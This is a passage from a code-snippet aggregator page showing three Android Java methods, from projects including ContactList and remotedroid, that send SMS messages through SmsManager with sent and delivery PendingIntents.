    messageIntent.putExtra(SENDING_MESSAGE_KEY, stringText);
    messageIntent.putExtra(SENDING_PHONE_NUMBER, phoneNumber);
    PendingIntent deliveredPI = PendingIntent.getBroadcast(context, 0, messageIntent, 0);
    ArrayList<PendingIntent> list = new ArrayList<>();
    list.add(deliveredPI);
    context.registerReceiver(deliverReceiver, new IntentFilter(DELIVER_RECEIVER_FILTER));
    SmsManager sms = SmsManager.getDefault();
    try {
        sms.sendMultipartTextMessage(phoneNumber,
                null,
                text,
                new ArrayList<PendingIntent>(),
                list);
    }catch (Exception e) {
        unregisterReceiver(context);
        GuiUtils.displayOkMessage(context, String.format(context.getString(R.string.error_send_sms), stringText), null);
    }
}
项目:ContactList    文件:SmsSend_Fragment.java   
private void sendSMS(String number, String message) {
    String SENT = "sms_sent";
    String DELIVERED = "sms_delivered";

    PendingIntent sentPI = PendingIntent.getActivity(getActivity(), 0,
            new Intent(SENT), 0);
    PendingIntent deliveredPI = PendingIntent.getActivity(getActivity(), 0,
            new Intent(DELIVERED), 0);

    SMSModel smsModel = new SMSModel();
    smsModel.setAddress(number);
    smsModel.setBody(message);
    smsModel.setType(String.valueOf(2));
    smsModel.setRead(1);
    if (isDefaultSms()) {
        smsHelper.insertToSmsContent(smsModel);
    }
    SmsManager smsm = SmsManager.getDefault();
    Log.e(TAG, number + ":" + message);
    smsm.sendTextMessage(number, null, message, sentPI, deliveredPI);
}
项目:remotedroid    文件:SMSUtils.java   
public void sendSMS(String address, String content) {
    lastSentSMSStatus = -1;
    SmsManager smsManager = SmsManager.getDefault();

    PendingIntent sentPI = PendingIntent.getBroadcast(mContext, 0,
            new Intent("SMS_SENT"), 0);

    mContext.registerReceiver(new BroadcastReceiver() {
        @Override
        public void onReceive(Context context, Intent intent) {
            lastSentSMSStatus = getResultCode();
            Toast.makeText(mContext,"message sent", Toast.LENGTH_LONG).show();
        }
    }, new IntentFilter("SMS_SENT"));

    smsManager.sendTextMessage("tel:".concat(address), null, content, sentPI, null);
}